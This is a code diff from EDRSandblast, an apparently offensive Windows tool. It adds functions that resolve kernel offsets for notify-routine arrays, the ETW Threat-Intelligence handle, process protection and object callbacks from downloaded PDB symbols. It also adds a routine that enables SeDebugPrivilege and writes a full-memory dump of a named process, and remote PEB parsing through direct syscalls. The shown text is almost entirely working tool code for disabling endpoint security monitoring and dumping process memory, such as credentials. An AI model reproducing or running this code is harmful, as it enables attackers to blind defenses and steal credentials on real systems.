||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
void PrintNtoskrnlOffsets() {
|
||||
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
|
||||
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
|
||||
}
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
|
||||
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
|
||||
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
|
||||
g_ntoskrnlOffsets.st.psThreadType != 0 &&
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetNtoskrnlPath() {
|
||||
if (_tcslen(g_ntoskrnlPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
}
|
||||
return g_ntoskrnlPath;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlVersion[256] = { 0 };
|
||||
LPTSTR GetNtoskrnlVersion() {
|
||||
if (_tcslen(g_ntoskrnlVersion) == 0) {
|
||||
|
||||
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
return g_ntoskrnlVersion;
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
* Functions that browse the PEB structure instead of relying on GetModuleHandle
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
@@ -18,7 +19,7 @@ LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||
}
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
printf("getModuleEntryFromNameW failed to find module\n");
|
||||
printf_or_not("getModuleEntryFromNameW failed to find module\n");
|
||||
#endif // _DEBUG
|
||||
return NULL;
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
* Among other things, reimplements GetProcAddress and the PE relocation process
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
@@ -143,7 +144,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
QWORD* relocQwAddress;
|
||||
|
||||
if (pe->isMemoryMapped) {
|
||||
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
return;
|
||||
}
|
||||
if (NULL == pe->relocations) {
|
||||
@@ -167,7 +168,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
@@ -208,6 +209,23 @@ PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
@@ -255,6 +273,28 @@ PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
DWORD debugDirectoryType;
|
||||
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
|
||||
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
DWORD codeviewDebugInfoSignature;
|
||||
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
|
||||
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
@@ -289,6 +329,9 @@ DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||
if (functionRVA == 0) {
|
||||
return NULL;
|
||||
}
|
||||
return PE_RVA_to_Addr(pe, functionRVA);
|
||||
}
|
||||
|
||||
@@ -366,3 +409,12 @@ PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReference
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
VOID PE_destroy(PE* pe)
|
||||
{
|
||||
if (pe->relocations) {
|
||||
free(pe->relocations);
|
||||
pe->relocations = NULL;
|
||||
}
|
||||
free(pe);
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#include <Windows.h>
|
||||
#include <shlwapi.h>
|
||||
#include <dbghelp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "HttpClient.h"
|
||||
#include "PEParser.h"
|
||||
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
|
||||
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR pdb_name_w[MAX_PATH] = { 0 };
|
||||
GUID guid = image_pe->codeviewDebugInfo->guid;
|
||||
DWORD age = image_pe->codeviewDebugInfo->age;
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
|
||||
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
DWORD image_size = image_pe->optHeader->SizeOfImage;
|
||||
//useless check
|
||||
if (image_size & 0xFFF) {
|
||||
image_size &= ~0xFFF;
|
||||
image_size += 0x1000;
|
||||
}
|
||||
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
|
||||
WCHAR image_name_w[MAX_PATH] = { 0 };
|
||||
if (image_name == NULL) {
|
||||
if (image_pe->exportDirectory != NULL) {
|
||||
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
|
||||
image_name = image_name_w;
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
|
||||
}
|
||||
|
||||
|
||||
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
|
||||
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
|
||||
if (ctx == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
|
||||
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
|
||||
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
|
||||
if (!FileExistsW(ctx->pdb_name_w)) {
|
||||
PBYTE file;
|
||||
SIZE_T file_size;
|
||||
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
|
||||
if (!res) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
WriteFullFileW(ctx->pdb_name_w, file, file_size);
|
||||
free(file);
|
||||
}
|
||||
DWORD64 asked_pdb_base_addr = 0x1337000;
|
||||
DWORD pdb_image_size = MAXDWORD;
|
||||
HANDLE cp = GetCurrentProcess();
|
||||
if (!SymInitialize(cp, NULL, FALSE)) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->sym_handle = cp;
|
||||
|
||||
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
while (pdb_base_addr == 0) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SUCCESS)
|
||||
break;
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
printf_or_not("PDB file not found\n");
|
||||
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
|
||||
SymCleanup(cp);
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
|
||||
asked_pdb_base_addr += 0x1000000;
|
||||
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
}
|
||||
ctx->pdb_base_addr = pdb_base_addr;
|
||||
return ctx;
|
||||
}
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
|
||||
PVOID image_content = ReadFullFileW(image_file_path);
|
||||
PE* pe = PE_create(image_content, FALSE);
|
||||
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
|
||||
PE_destroy(pe);
|
||||
free(image_content);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
|
||||
SYMBOL_INFO_PACKAGE si = { 0 };
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
|
||||
return si.si.Address - ctx->pdb_base_addr;
|
||||
}
|
||||
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
|
||||
SYMBOL_INFO_PACKAGE si = {0};
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
|
||||
if (!res) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
|
||||
if (childrenParam == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
|
||||
if (!res){
|
||||
return 0;
|
||||
}
|
||||
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
|
||||
if (ptr == NULL) {
|
||||
free(childrenParam);
|
||||
return 0;
|
||||
}
|
||||
childrenParam = ptr;
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
|
||||
DWORD offset = 0;
|
||||
for (ULONG i = 0; i < childrenParam->Count; i++) {
|
||||
ULONG childID = childrenParam->ChildId[i];
|
||||
WCHAR* name = NULL;
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
|
||||
if (wcscmp(field_name, name)) {
|
||||
continue;
|
||||
}
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
|
||||
break;
|
||||
}
|
||||
free(childrenParam);
|
||||
return offset;
|
||||
}
|
||||
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
|
||||
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
|
||||
SymCleanup(ctx->sym_handle);
|
||||
if (delete_pdb) {
|
||||
DeleteFileW(ctx->pdb_name_w);
|
||||
}
|
||||
free(ctx->pdb_name_w);
|
||||
ctx->pdb_name_w = NULL;
|
||||
free(ctx);
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
|
||||
--- Process dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include "ProcessDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
|
||||
TOKEN_PRIVILEGES tp = { 0 };
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32 = { 0 };
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
|
||||
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
|
||||
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
|
||||
|
||||
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
|
||||
|
||||
// Now walk the snapshot of processes, and look for the specified process.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, processName)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
|
||||
return dumpProcess(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
|
||||
return (PVOID)(baseAddress + RVA);
|
||||
}
|
||||
|
||||
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
|
||||
// Get target process PEB address.
|
||||
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
|
||||
basicInfo.PebBaseAddress = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
|
||||
#else
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pprocessLdr = NULL;
|
||||
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
|
||||
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
|
||||
}
|
||||
|
||||
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
|
||||
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
|
||||
|
||||
if (!newModuleInfo) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newModuleInfo->next = NULL;
|
||||
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
|
||||
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
|
||||
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
|
||||
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
|
||||
|
||||
// read the full path of the DLL
|
||||
